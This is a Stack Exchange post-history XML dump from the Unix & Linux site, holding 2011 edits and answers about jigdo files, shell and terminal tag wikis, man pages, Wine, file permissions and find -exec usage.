  <row Id="25421" PostHistoryTypeId="5" PostId="10557" RevisionGUID="231ba8b7-4089-404c-9aad-6fdf6393b879" CreationDate="2011-04-03T19:20:12.917" UserId="4671" Comment="Add comment about jigdo files being gzipped.; added 151 characters in body" Text="The best answer I could find is http://www.debian.org/CD/faq/#search-for-package&#xD;&#xA;&#xD;&#xA;The following question is also relevant http://www.debian.org/CD/faq/#list-image-contents&#xD;&#xA;&#xD;&#xA;Maybe you could just download the jigdo files and look at them. They are very small.&#xD;&#xA;&#xD;&#xA;    $ ls -lah debian-6.0.1a-amd64-CD-1.jigdo &#xD;&#xA;     -rw-r--r-- 1 faheem faheem 31K Mar 22 21:39 debian-6.0.1a-amd64-CD-1.jigdo&#xD;&#xA;&#xD;&#xA;From [How Jigdo Works](http://tldp.org/HOWTO/Debian-Jigdo/howjigdoworks.html), Section 3.3,&#xD;&#xA;&#xD;&#xA;&gt; Given an input of an ISO image and a&#xD;&#xA;&gt; set of loose files which may or may&#xD;&#xA;&gt; not be in the ISO image, jigdo-file&#xD;&#xA;&gt; outputs a .jigdo file for that ISO&#xD;&#xA;&gt; image. The Debian .jigdo files are&#xD;&#xA;&gt; gzipped, so you need to use zcat or&#xD;&#xA;&gt; zless to view them. Here's what a&#xD;&#xA;&gt; .jigdo file looks like when you gunzip&#xD;&#xA;&gt; it:&#xD;&#xA;&gt; &#xD;&#xA;&gt;       md5-0=http://somemirror.org/file-0&#xD;&#xA;&gt;       md5-1=http://somemirror.org/file-1&#xD;&#xA;&gt;       md5-2=http://somemirror.org/file-2&#xD;&#xA;&gt;       md5-3=http://somemirror.org/file-3" />
  <row Id="25422" PostHistoryTypeId="2" PostId="10558" RevisionGUID="afe3fdc7-8c3f-41f1-b1a0-cadbf7349091" CreationDate="2011-04-03T20:06:25.657" UserId="2780" Text="To a little extend, you can try [`checkbashisms`](http://wiki.ubuntu.com/DashAsBinSh) in Debian/Ubuntu's `devscripts` package.&#xD;&#xA;&#xD;&#xA;It is not perfect, but it has the benefit of being an existing starting point. For example, it doesn't see the classical glitches with `sed`/`find` concerning the GNU vs BSD/other differences.&#xD;&#xA;&#xD;&#xA;By default, it is Debian+dash oriented, the `-p` flag can be useful for in your case." />
  <row Id="25423" PostHistoryTypeId="6" PostId="10381" RevisionGUID="23f40bc6-e13e-45b1-bc97-6dec59ea1dc8" CreationDate="2011-04-03T20:08:52.310" UserId="885" Comment="edited tags" Text="ésoftwareöinstallationàépathà" />
  <row Id="25424" PostHistoryTypeId="6" PostId="8759" RevisionGUID="8e5628ba-b032-4000-8b56-2df2bd6ea46d" CreationDate="2011-04-03T20:09:03.950" UserId="885" Comment="edited tags" Text="éshellàébashàéerroröhandlingà" />
  <row Id="25425" PostHistoryTypeId="6" PostId="3149" RevisionGUID="ae05d0a4-49cd-47f3-bc8e-c5990eacc1cd" CreationDate="2011-04-03T20:09:32.297" UserId="885" Comment="edited tags" Text="éfedoraàépackageömanagementàéupgradeà" />
  <row Id="25426" PostHistoryTypeId="6" PostId="2640" RevisionGUID="eb861989-ec35-4eda-bfd0-467da0078287" CreationDate="2011-04-03T20:10:04.760" UserId="885" Comment="edited tags" Text="éshellàéusersàéloginàérootà" />
  <row Id="25427" PostHistoryTypeId="6" PostId="2619" RevisionGUID="f771d0c6-4950-4596-9cf9-1ead47d9284e" CreationDate="2011-04-03T20:10:24.743" UserId="885" Comment="edited tags" Text="édebuggingàétroubleshootingà" />
  <row Id="25428" PostHistoryTypeId="6" PostId="10531" RevisionGUID="04b06702-d072-4307-b222-2039f9803937" CreationDate="2011-04-03T20:12:43.370" UserId="885" Comment="edited tags" Text="écentosàébooksàétroubleshootingà" />
  <row Id="25429" PostHistoryTypeId="6" PostId="9442" RevisionGUID="289d15da-693b-4c4b-abbd-611b6959fd16" CreationDate="2011-04-03T20:14:08.330" UserId="885" Comment="edited tags" Text="élinuxàépermissionsàéusersàénfsàéaixà" />
  <row Id="25430" PostHistoryTypeId="6" PostId="3362" RevisionGUID="5c90e207-d49d-491e-975b-120ed588166e" CreationDate="2011-04-03T20:14:45.427" UserId="885" Comment="edited tags" Text="écommandölineàéreferenceà" />
  <row Id="25431" PostHistoryTypeId="5" PostId="5526" RevisionGUID="f8e455fc-d95b-470e-b47a-de46f658476c" CreationDate="2011-04-03T20:49:02.590" UserId="885" Comment="point to [tag:command-line]" Text="Don't confuse the terminal, which is the environment for text mode programs, with the [tag:shell], which executes commands. See also [tag:command-line] if your problem is accomplishing a task on the command line.&#xD;&#xA;&#xD;&#xA;### Background&#xD;&#xA;&#xD;&#xA;In a unix context, a terminal is an environment for text input and output. Historically, a terminal was a physical device, but these days most terminals are provided by [terminal emulators](http://en.wikipedia.org/wiki/Terminal_emulator).&#xD;&#xA;&#xD;&#xA;If your display is in text mode, this is usually known as a “text console”, or sometimes (somewhat confusingly) as a “virtual terminal”.&#xD;&#xA;&#xD;&#xA;A “terminal” can be graphical, but in a unix context there will normally be a qualifier, e.g. “[X terminal](http://en.wikipedia.org/wiki/X_terminal)”.&#xD;&#xA;&#xD;&#xA;Most interactive programs run inside terminals are of one of two kinds:&#xD;&#xA;&#xD;&#xA;* [read-eval-print loops](/wiki/Read-eval-print_loop) are programs that read a line, then execute it. Unix [shells](http://unix.stackexchange.com/tags/shell/info) are examples of this.&#xD;&#xA;* full-screen text mode programs, such as `emacs -nw`, `lynx`, `nethack`, `vi`, …&#xD;&#xA;&#xD;&#xA;### Escape sequences&#xD;&#xA;&#xD;&#xA;A terminal and the program inside it communicate by exchanging text with embedded escape sequences. When you type a character in a terminal, the program receives that character; if you type a function key, the terminal usually converts it to an escape sequence. In the other direction, if the program outputs a printable character, the terminal displays it; if the program outputs a control character, it performs a function such as moving the cursor, changing the color, etc. Most terminals are compatible with [Xterm control sequences](http://invisible-island.net/xterm/xterm.faq.html#ctlseqs_ms).&#xD;&#xA;&#xD;&#xA;### Further reading&#xD;&#xA;&#xD;&#xA;* [What is the exact difference between a 'terminal', a 'shell', a 'tty' and a 'console'?](http://unix.stackexchange.com/questions/4126/what-is-the-exact-difference-between-a-terminal-a-shell-a-tty-and-a-cons)&#xD;&#xA;* [What protocol/standard is used by terminals?](http://unix.stackexchange.com/questions/5800/what-protocol-standard-is-used-by-terminals)&#xD;&#xA;* [Is screen useful?](http://unix.stackexchange.com/questions/4116/is-screen-useful)&#xD;&#xA;* [How can I close a terminal without killing the command running in it?](http://unix.stackexchange.com/questions/4004/how-can-i-close-a-terminal-without-killing-the-command-running-in-it)&#xD;&#xA;" />
  <row Id="25432" PostHistoryTypeId="5" PostId="5527" RevisionGUID="381e03c6-080e-4004-b87e-5c3d6ff95e69" CreationDate="2011-04-03T20:49:02.637" UserId="885" Comment="point to [tag:command-line]" Text="A terminal is an environment for text input/output. Inside the terminal, one runs command-line and text mode programs (including shells)." />
  <row Id="25433" PostHistoryTypeId="5" PostId="5283" RevisionGUID="14ed8a40-44b0-4941-a24f-886848f4c438" CreationDate="2011-04-03T20:53:16.080" UserId="885" Comment="link to [tag:command-line] and [tag:terminal]" Text="The [shell](http://en.wikipedia.org/wiki/Shell_%28computing%29) is a program whose primary role is to enable the user to call *other* programs and make them interact. In a [unix](http://en.wikipedia.org/wiki/Unix_shell) context, a shell is almost always a command-line interpreter.&#xD;&#xA;&#xD;&#xA;More precisely, unless otherwise specified, a unix shell is compatible with the [POSIX / Single UNIX shell specification](http://pubs.opengroup.org/onlinepubs/009695399/idx/shell.html). Most unices have a such a shell available as `/bin/sh`.&#xD;&#xA;&#xD;&#xA;### Related tags&#xD;&#xA;&#xD;&#xA;* [tag:command-line] for when you want to do something without a GUI, and your question isn't particularly about the command interpreter&#xD;&#xA;* [tag:terminal] for questions about the surrounding text mode environment&#xD;&#xA;&#xD;&#xA;## Shell implementations&#xD;&#xA;&#xD;&#xA;### Main Bourne-style shells&#xD;&#xA;&#xD;&#xA;* The [Bourne shell](http://en.wikipedia.org/wiki/Bourne_shell) is one of the two surviving shells from the old days, now mostly superseded by various shells called ash, ksh and bash. The POSIX specification builds on the Bourne shell.&#xD;&#xA;* [tag:bash] [Bash](http://www.gnu.org/software/bash/) is a Bourne-style, POSIX-compliant shell from the [GNU](http://www.gnu.org/) project. It is the default interactive and scripting shell on most Linux distributions, and available on most other unices. Bash adds many features, both for scripting and for interactive use.&#xD;&#xA;* [tag:ksh] [Ksh](http://kornshell.com/) is a Bourne-style, POSIX-compliant shell. It adds many advanced features, mostly for scripting. Although ksh has been open-source since 2000, it is still less favored in the open source world, and there are several partial ksh clones.&#xD;&#xA;* [tag:zsh] [Zsh](http://www.zsh.org/) is mostly Bourne-style, but with a few syntactic differences. It has a POSIX emulation mode. It has many extra features, both for scripting and for interactive use.&#xD;&#xA;* [tag:busybox] [Busybox](http://www.busybox.net/) is a contains a mostly POSIX-compliant shell with some line edition capabilities together with many simple utilities. It is targetted towards embedded systems.&#xD;&#xA;&#xD;&#xA;### Other well-known shells&#xD;&#xA;&#xD;&#xA;* [tag:csh] [tag:tcsh] The [C shell](http://en.wikipedia.org/wiki/C_shell) is one of the two surviving shells from the old days. It is [not favored for scripting](http://www.faqs.org/faqs/unix-faq/shell/csh-whynot/). The main implementation today is [tcsh](http://www.tcsh.org/). C shells used to have more interactive features than Bourne-style shells, but bash and zsh have now overtaken tcsh.&#xD;&#xA;* [tag:fish] [Fish](http://fishshell.org/) is a relative newcomer inspired by classical and aiming to combine power and simplicity.&#xD;&#xA;&#xD;&#xA;### Further reading&#xD;&#xA;&#xD;&#xA;* [What are the fundamental differences between the mainstream *NIX shells?](http://unix.stackexchange.com/questions/3320/what-are-the-fundamental-differences-between-the-mainstream-nix-shells)&#xD;&#xA;* [Object-oriented shell for *nix](http://unix.stackexchange.com/questions/4495/object-oriented-shell-for-nix)&#xD;&#xA;&#xD;&#xA;## Interactive use&#xD;&#xA;&#xD;&#xA;These are features commonly found in shells with good interaction support (bash, tcsh, zsh, fish):&#xD;&#xA;&#xD;&#xA;* command line edition, often with configurable key bindings.&#xD;&#xA;* [tag:command-history] a history of commands that can be navigated with the `Up` and `Down` keys, searched, etc.; also a recall mechanism based on expanding sequences beginning with `!`.&#xD;&#xA;* [tag:autocomplete] completion of partially-entered file names, command names, options and other arguments.&#xD;&#xA;* [tag:job-control] management of background processes.&#xD;&#xA;* [tag:prompt] showing a prompt before each command, which many users like to configure.&#xD;&#xA;* [tag:alias] defining short names for often-used commands&#xD;&#xA;&#xD;&#xA;### Further reading&#xD;&#xA;&#xD;&#xA;* [What is the exact difference between a 'terminal', a 'shell', a 'tty' and a 'console'?](http://unix.stackexchange.com/questions/4126/what-is-the-exact-difference-between-a-terminal-a-shell-a-tty-and-a-cons)&#xD;&#xA;* [What are your favorite command line features or tricks?](http://unix.stackexchange.com/questions/6/what-are-your-favorite-command-line-features-or-tricks)&#xD;&#xA;* http://unix.stackexchange.com/questions/983/what-features-are-in-zsh-and-missing-from-bash-or-vice-versa&#xD;&#xA;* [Colorizing your terminal and shell environment?](http://unix.stackexchange.com/questions/148/colorizing-your-terminal-and-shell-environment)&#xD;&#xA;* [best way to search my shell's history](http://unix.stackexchange.com/questions/541/best-way-to-search-my-shells-history); [How to access the history on the fly in unix?](http://unix.stackexchange.com/questions/1254/how-to-access-the-history-on-the-fly-in-unix)&#xD;&#xA;&#xD;&#xA;## Shell scripting&#xD;&#xA;&#xD;&#xA;Shells have traditional control structures (conditionals, loops) as well as means to combine processes (in particular the [pipe](http://en.wikipedia.org/wiki/Pipe_%28Unix%29)). They have built-in support for a few tasks such as arithmetic and basic string manipulation, but rely on external commands for other things.&#xD;&#xA;&#xD;&#xA;Almost every unix-like system provides a [POSIX](http://pubs.opengroup.org/onlinepubs/009695399/)-compliant shell, usually as `/bin/sh`. So scripts aiming to be portable between unix variants should be written according to that standard, and start with the `#!/bin/sh` [shebang](http://en.wikipedia.org/wiki/Shebang_%28Unix%29) line.&#xD;&#xA;&#xD;&#xA;Many systems have at least ksh or bash available. These provide a number of useful extensions, though not always with the same syntax. Features present in both (and in zsh) include local variables in function, array variables, the double bracket syntax for conditionals (`[[ … ]]`), and (requiring an option to be set in bash and zsh) additional globbing patterns such as `@(…)`.&#xD;&#xA;&#xD;&#xA;A common difficulty in shell programming is quoting. Unlike in most programming languages, almost everything is a string, and quoting is only necessary around special characters. However some cases are tricky. In particular, a common pitfall is that variable and common substitions (`$foo`, `$(foo)`) undergo further expansion and should be protected by double quotes (`&quot;$foo&quot;`, `&quot;$(foo)&quot;`) unless that further expansion is desired.&#xD;&#xA;&#xD;&#xA;### Related tags&#xD;&#xA;&#xD;&#xA;* [tag:quoting] a tricky aspect of shell programming&#xD;&#xA;* [tag:wildcards] globbing, i.e., using patterns to match multiple files&#xD;&#xA;* [tag:io-redirection] connecting the input or output of a command to a file&#xD;&#xA;* [tag:pipe] connecting the output of a command to the input of another command&#xD;&#xA;* [tag:file-management] [tag:text-processing] two common shell tasks&#xD;&#xA;* [tag:utilities] Shells often call external utilities dedicated to one particular task. Some have their own tags as well: [tag:awk] [tag:cd] [tag:cp] [tag:date] [tag:dd] [tag:find] [tag:grep] [tag:ls] [tag:mv] [tag:rm] [tag:sed] …&#xD;&#xA;&#xD;&#xA;### Further reading&#xD;&#xA;&#xD;&#xA;* [Practical tasks to learn shell scripting.](http://unix.stackexchange.com/questions/490/practical-tasks-to-learn-shell-scripting)&#xD;&#xA;* [$VAR vs ${VAR} and to quote or not to quote](http://unix.stackexchange.com/questions/4899/var-vs-var-and-to-quote-or-not-to-quote)&#xD;&#xA;* [How do I delete a file whose name begins with “--”?](http://unix.stackexchange.com/questions/1519/how-do-i-delete-a-file-whose-name-begins-with)&#xD;&#xA;" />
  <row Id="25434" PostHistoryTypeId="25" PostId="10556" RevisionGUID="881139e2-ce0d-4d63-b07c-be31436c0136" CreationDate="2011-04-03T21:08:59.810" Comment="http://twitter.com/#!/StackUnix/status/54651634017505281" />
  <row Id="25435" PostHistoryTypeId="2" PostId="10559" RevisionGUID="ae44337d-9681-4abb-b367-541329febe97" CreationDate="2011-04-03T21:18:02.750" UserId="6261" Text="A useful command for mi is `man -k [key_word]` this search for a man page with the 'key_word' in the short description of the man page. The result are show with the section between brackets:&#xD;&#xA;&#xD;&#xA;    [gojan@Gonux ~]$ man -k copy&#xD;&#xA;    ...&#xD;&#xA;    cp (1)               - copy files and directories&#xD;&#xA;    cp (1p)              - copy files&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;You can use this number to avoid ambiguity like:&#xD;&#xA;&#xD;&#xA;    [gojan@Gonux ~]$ man 1 cp&#xD;&#xA;    CP(1)                                                         User Commands                                                         CP(1)&#xD;&#xA;    &#xD;&#xA;    NAME&#xD;&#xA;           cp - copy files and directories&#xD;&#xA;    ...&#xD;&#xA;    [gojan@Gonux ~]$ man 1p cp&#xD;&#xA;    CP(1P)                                                  POSIX Programmer's Manual                                                  CP(1P)&#xD;&#xA;    &#xD;&#xA;    PROLOG&#xD;&#xA;           This  manual  page  is  part of the POSIX Programmer's Manual.  The Linux implementation of this interface may differ (consult the&#xD;&#xA;           corresponding Linux manual page for details of Linux behavior), or the interface may not be implemented on Linux." />
  <row Id="25436" PostHistoryTypeId="2" PostId="10560" RevisionGUID="7374a150-ca11-486c-bd7b-d8c3d58dd9e7" CreationDate="2011-04-03T18:04:34.310" UserDisplayName="Andrew" Text="I have an old pc game (win95) that I'm trying to play through wine on my ubuntu box. I got it running and all that pretty jazz using this code;&#xD;&#xA;&#xD;&#xA;xinit /usr/bin/xterm -- :1 -ac -depth 8&#xD;&#xA;&#xD;&#xA;then in the new window&#xD;&#xA;&#xD;&#xA;ck-launch-session&#xD;&#xA;sudo wine &quot;mygame.exe&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;but for some reason, certain shades of white are black, and visa versa. is there a way to fix this, or am I stuck with it?" />
  <row Id="25437" PostHistoryTypeId="1" PostId="10560" RevisionGUID="7374a150-ca11-486c-bd7b-d8c3d58dd9e7" CreationDate="2011-04-03T18:04:34.310" UserDisplayName="Andrew" Text="Colors wrong in wine with new x server with 8 bit color" />
  <row Id="25438" PostHistoryTypeId="3" PostId="10560" RevisionGUID="7374a150-ca11-486c-bd7b-d8c3d58dd9e7" CreationDate="2011-04-03T18:04:34.310" UserDisplayName="Andrew" Text="éubuntuàéwineàéxtermà" />
  <row Id="25439" PostHistoryTypeId="17" PostId="10560" RevisionGUID="8aeea17c-3f0e-413d-b63c-278893b0cf14" CreationDate="2011-04-03T21:43:47.943" UserId="-1" Comment="from http://stackoverflow.com/questions/5531420/colors-wrong-in-wine-with-new-x-server-with-8-bit-color" Text="" />
  <row Id="25440" PostHistoryTypeId="5" PostId="10560" RevisionGUID="1e2ae304-f7c4-4ec9-a95b-fcf04bc81e4f" CreationDate="2011-04-03T21:48:37.403" UserId="73" Comment="added 16 characters in body" Text="I have an old pc game (win95) that I'm trying to play through wine on my ubuntu box. I got it running and all that pretty jazz using this code;&#xD;&#xA;&#xD;&#xA;    $ xinit /usr/bin/xterm -- :1 -ac -depth 8&#xD;&#xA;&#xD;&#xA;Then in the new window&#xD;&#xA;&#xD;&#xA;    $ ck-launch-session&#xD;&#xA;    $ sudo wine &quot;mygame.exe&quot;&#xD;&#xA;&#xD;&#xA;But for some reason, certain shades of white are black, and visa versa. Is there a way to fix this, or am I stuck with it?" />
  <row Id="25441" PostHistoryTypeId="5" PostId="3362" RevisionGUID="858a87d5-527b-45d8-b3ec-8dd90aa24842" CreationDate="2011-04-03T21:52:40.537" UserId="73" Comment="deleted 22 characters in body; edited title" Text="As a Unix beginner, I often find myself wanting to know the name of the command that achieves a particular function I'm after. How can I go about finding out the name of the command, given a description of what it does?&#xD;&#xA;" />
  <row Id="25442" PostHistoryTypeId="4" PostId="3362" RevisionGUID="858a87d5-527b-45d8-b3ec-8dd90aa24842" CreationDate="2011-04-03T21:52:40.537" UserId="73" Comment="deleted 22 characters in body; edited title" Text="How do I find a command if I don't know its name?" />
  <row Id="25443" PostHistoryTypeId="29" PostId="3362" RevisionGUID="6a652392-e251-4d6c-b519-51b201d052fd" CreationDate="2011-04-03T21:53:32.407" UserId="73" />
  <row Id="25444" PostHistoryTypeId="17" PostId="10562" RevisionGUID="6b157db5-56ea-433e-8341-1af4044ebde5" CreationDate="2011-04-03T22:04:59.033" UserId="-1" Comment="from http://stackoverflow.com/questions/5524619/linux-distro-thats-lightweight-works-in-seamless-mode-for-commandline-use-on-v/5524631#5524631" Text="" />
  <row Id="25445" PostHistoryTypeId="17" PostId="10563" RevisionGUID="08634756-27bb-4e39-8492-43ccbaf132ef" CreationDate="2011-04-03T22:04:59.033" UserId="-1" Comment="from http://stackoverflow.com/questions/5524619/linux-distro-thats-lightweight-works-in-seamless-mode-for-commandline-use-on-v/5524682#5524682" Text="" />
  <row Id="25446" PostHistoryTypeId="17" PostId="10564" RevisionGUID="0ad6ede1-ef19-4265-86b5-9f44c13ba288" CreationDate="2011-04-03T22:04:59.033" UserId="-1" Comment="from http://stackoverflow.com/questions/5524619/linux-distro-thats-lightweight-works-in-seamless-mode-for-commandline-use-on-v/5525347#5525347" Text="" />
  <row Id="25447" PostHistoryTypeId="2" PostId="10562" RevisionGUID="eaba7a55-d6df-4950-9e4b-b77e9ca961e1" CreationDate="2011-04-02T17:16:36.040" UserDisplayName="ChristopheD" Text="Have a look at [Ubuntu JEOS][1] (Just Enough Operating System).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Ubuntu_JeOS" />
  <row Id="25448" PostHistoryTypeId="2" PostId="10563" RevisionGUID="a01dd972-e65d-4d19-9782-69235d5915e0" CreationDate="2011-04-02T17:25:57.780" UserDisplayName="alex" Text="You can either:&#xD;&#xA;&#xD;&#xA; * Use whatever distro, disable X11 and use PuTTy to ssh into the box. All distros will be equally lightweight- so you might want to continue Ubuntu just as you're used to&#xD;&#xA; * Use coLinux or andLinux to run a pseudo-Linux process on Windows. If you run it without X11 and use PuTTy to ssh in, it should in theory be even lighter than the previous solution&#xD;&#xA;&#xD;&#xA;Basically, if you are just using the command line, you can disable X11 and you're done.&#xD;&#xA;" />
  <row Id="25449" PostHistoryTypeId="2" PostId="10564" RevisionGUID="cce211f9-1bb5-4dc0-bd47-e09581fae4e9" CreationDate="2011-04-02T19:25:57.400" UserDisplayName="Grigory Javadyan" Text="Try Arch Linux. It installs as a very basic system with just a shell and some convenient tools, no DE's, no X11, etc., you just add more packages as you go, if you need them. Plus, it's a rolling release system which means it takes just a full package update to make sure you're running the latest versions of all of the installed software.  " />
  <row Id="25450" PostHistoryTypeId="2" PostId="10561" RevisionGUID="ac294b98-fa24-45ce-856b-8b9a96d66950" CreationDate="2011-04-02T17:14:26.247" UserDisplayName="beriberikix" Text="Currently, I'm doing web development on my windows machine. Some projects are just easier to run on Linux (like Node.js.) I only need the commandline, so I run Ubuntu in seamless mode. I don't need all the overhead of Ubuntu. Is there lighter distro I could use that still supports seamless mode in VirtualBox?" />
  <row Id="25451" PostHistoryTypeId="1" PostId="10561" RevisionGUID="ac294b98-fa24-45ce-856b-8b9a96d66950" CreationDate="2011-04-02T17:14:26.247" UserDisplayName="beriberikix" Text="linux distro that's lightweight &amp; works in seamless mode for commandline use on VirtualBox" />
  <row Id="25452" PostHistoryTypeId="3" PostId="10561" RevisionGUID="ac294b98-fa24-45ce-856b-8b9a96d66950" CreationDate="2011-04-02T17:14:26.247" UserDisplayName="beriberikix" Text="évirtualboxà" />
  <row Id="25453" PostHistoryTypeId="17" PostId="10561" RevisionGUID="34bb7e73-4a03-4bfd-b90b-4cf0a5d78d6d" CreationDate="2011-04-03T22:04:59.033" UserId="-1" Comment="from http://stackoverflow.com/questions/5524619/linux-distro-thats-lightweight-works-in-seamless-mode-for-commandline-use-on-v" Text="" />
  <row Id="25454" PostHistoryTypeId="17" PostId="10566" RevisionGUID="d2b0f3c2-b4bc-461f-81a1-1ecd9edd2947" CreationDate="2011-04-03T22:21:02.577" UserId="-1" Comment="from http://stackoverflow.com/questions/5532514/file-permissions-when-transferring-to-another-server/5532544#5532544" Text="" />
  <row Id="25455" PostHistoryTypeId="17" PostId="10567" RevisionGUID="a7a0b23d-00ad-46dd-8826-e51ae50d90ac" CreationDate="2011-04-03T22:21:02.577" UserId="-1" Comment="from http://stackoverflow.com/questions/5532514/file-permissions-when-transferring-to-another-server/5532561#5532561" Text="" />
  <row Id="25456" PostHistoryTypeId="2" PostId="10566" RevisionGUID="f121bc9d-8d50-4781-baf1-de0904c0d36c" CreationDate="2011-04-03T21:09:54.897" UserDisplayName="acadler" Text="No it won't since the permissions are attached to users.&#xD;&#xA;&#xD;&#xA;However it only takes a simple command to chmod a file so just move it and set the permissions." />
  <row Id="25457" PostHistoryTypeId="2" PostId="10567" RevisionGUID="d4d26e65-d4ec-4362-a870-144d15d4261e" CreationDate="2011-04-03T21:12:04.820" UserId="5946" Text="That depends entirely and completely on the method of transfer.&#xD;&#xA;&#xD;&#xA;rsync will preserve permissions with -p, ownership with -o (using numeric id only with --numeric-ids). -a combines -rlopt, unless you negate it with --no-o or --no-p&#xD;&#xA;&#xD;&#xA;scp will not normally preserve permissions (IIRC)&#xD;&#xA;&#xD;&#xA;cp has roughly the same flags (-p for permissions, -a for everything and recursing)&#xD;&#xA;&#xD;&#xA;tar has the -p flag as well&#xD;&#xA;&#xD;&#xA;cpio will always preserve permissions" />
  <row Id="25458" PostHistoryTypeId="2" PostId="10565" RevisionGUID="0e1efa03-2243-485a-9e1a-e966ea4a332b" CreationDate="2011-04-03T21:05:46.603" UserDisplayName="Chandler Hoisington" Text="If I was to chmod 777 blah.sh on server A and then move it to server B, would it retain the permissions, or would it default to some other permissions once it hit server B?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks in advance." />
  <row Id="25459" PostHistoryTypeId="1" PostId="10565" RevisionGUID="0e1efa03-2243-485a-9e1a-e966ea4a332b" CreationDate="2011-04-03T21:05:46.603" UserDisplayName="Chandler Hoisington" Text="File permissions when transferring to another server" />
  <row Id="25460" PostHistoryTypeId="3" PostId="10565" RevisionGUID="0e1efa03-2243-485a-9e1a-e966ea4a332b" CreationDate="2011-04-03T21:05:46.603" UserDisplayName="Chandler Hoisington" Text="ésshà" />
  <row Id="25461" PostHistoryTypeId="17" PostId="10565" RevisionGUID="a9ae3bdc-0798-45e1-b4a7-d848f5fa4d1d" CreationDate="2011-04-03T22:21:02.577" UserId="-1" Comment="from http://stackoverflow.com/questions/5532514/file-permissions-when-transferring-to-another-server" Text="" />
  <row Id="25462" PostHistoryTypeId="6" PostId="10565" RevisionGUID="9766572e-2e9a-4d7c-81c3-ad1485d1d8f8" CreationDate="2011-04-03T22:25:22.383" UserId="885" Comment="edited tags" Text="ésshàépermissionsà" />
  <row Id="25463" PostHistoryTypeId="5" PostId="10567" RevisionGUID="da6c6e63-c798-4e6d-936e-dd36af2a8151" CreationDate="2011-04-03T22:27:11.050" UserId="885" Comment="formatting; mention scp -p" Text="That depends entirely and completely on the method of transfer.&#xD;&#xA;&#xD;&#xA;`rsync` will preserve permissions with `-p`, ownership with `-o` (using numeric id only if you pass `--numeric-ids`). `-a` combines `-rlopt`, unless you negate it with `--no-o` or `--no-p`.&#xD;&#xA;&#xD;&#xA;`scp` will not normally preserve permissions, but will if you pass `-p`.&#xD;&#xA;&#xD;&#xA;`cp` has roughly the same flags (`-p` for permissions, `-a` for everything and recursing).&#xD;&#xA;&#xD;&#xA;`tar` has the `-p` flag as well.&#xD;&#xA;&#xD;&#xA;`cpio` will always preserve permissions.&#xD;&#xA;" />
  <row Id="25464" PostHistoryTypeId="5" PostId="10549" RevisionGUID="270e766e-0148-4193-9a4f-84b1bdc77777" CreationDate="2011-04-03T22:39:16.933" UserId="5502" Comment="added 251 characters in body" Text="One night my firefox just started showing &quot;Server not found&quot; for all websites (i.e. &quot;Firefox can't find the server at www.mozilla.com.&quot;). I noticed that it can find websites if make an entry in the /etc/hosts-file.&#xD;&#xA;&#xD;&#xA;I have already started firefox in safe mode, the problem persisted.&#xD;&#xA;&#xD;&#xA;I removed my ~/.mozilla folder entirely, didn't help either.&#xD;&#xA;&#xD;&#xA;At this point I noticed that thunderbird was having the same problem and assumed it must be a shared library. I'm running gentoo linux, where the packages are distributes as source code, if available, so I started rebuilding each and every package on my system (&quot;emerge -av --emptytree world&quot;), still the same error.&#xD;&#xA;&#xD;&#xA;I then tried installing the source-package of firefox (I was using the binary package &quot;firefox-bin&quot;), but that still didn't help.&#xD;&#xA;&#xD;&#xA;Does anyone have an idea what I might do next?&#xD;&#xA;&#xD;&#xA;**EDIT** (Thx, Gilles)&#xD;&#xA;&#xD;&#xA;Installed Konqueror and verified that it doesn't have this issue (running fluxbox.)&#xD;&#xA;&#xD;&#xA;I have manually set the proxy settings of firefox to &quot;No Proxy&quot;, no change.&#xD;&#xA;&#xD;&#xA;I have disabled ipv6 in `about:config`, still the same." />
  <row Id="25465" PostHistoryTypeId="6" PostId="10561" RevisionGUID="c556ab1e-1193-47d7-a2f2-ee6737216eb8" CreationDate="2011-04-03T22:45:11.000" UserId="885" Comment="edited tags" Text="élinuxàédistributionöchoiceàévirtualboxà" />
  <row Id="25466" PostHistoryTypeId="5" PostId="1952" RevisionGUID="ce06bb63-e9b9-4488-aa0a-162851999016" CreationDate="2011-04-03T23:07:00.357" UserId="3169" Comment="add a description of find -exec sh -c COMMAND {} ';'" Text="**FAQ**&#xD;&#xA;&#xD;&#xA;**How do I perform an action on every file that find returns?**&#xD;&#xA;&#xD;&#xA;Assume we want to perform an action on all `*.csv` files.&#xD;&#xA;&#xD;&#xA;The simplest way is to use `-exec` like this&#xD;&#xA;&#xD;&#xA;    find . -type f -name '*.csv' -exec echo {} ';'&#xD;&#xA;&#xD;&#xA;(Assuming the files are in the current directory.)&#xD;&#xA;&#xD;&#xA;**What if I want to run more than one command for every file that find returns?**&#xD;&#xA;&#xD;&#xA;If you want to echo the file name and perform an action, or perhaps change the file name somehow before performing an action on it, try using `-exec sh -c 'COMMANDS' {} ';'`&#xD;&#xA;&#xD;&#xA;    find . -type f -name '*.csv' -exec sh -c '&#xD;&#xA;      echo &quot;$0&quot;&#xD;&#xA;      diff &quot;$0&quot; &quot;/some/other/path/$0&quot;&#xD;&#xA;    ' {} ';'&#xD;&#xA;&#xD;&#xA;This tells find to run a shell script for every file, where the script is the part in between single quotes, e.g.&#xD;&#xA;&#xD;&#xA;      echo &quot;$0&quot;&#xD;&#xA;      diff &quot;$0&quot; &quot;/some/other/path/$0&quot;&#xD;&#xA;&#xD;&#xA;in this case.&#xD;&#xA;&#xD;&#xA;`$0` is the file name.&#xD;&#xA;&#xD;&#xA;Note that you can't have single quotes in the shell script, because they are being used as delimiters to mark the start and end of the script.&#xD;&#xA;&#xD;&#xA;Source: Gilles answer in http://unix.stackexchange.com/questions/9496/looping-through-files-with-spaces-in-the-names/9500#9500&#xD;&#xA;" />
  <row Id="25467" PostHistoryTypeId="24" PostId="1952" RevisionGUID="ce06bb63-e9b9-4488-aa0a-162851999016" CreationDate="2011-04-03T23:07:00.357" Comment="Proposed by 3169 approved by -1 edit id of 250" />
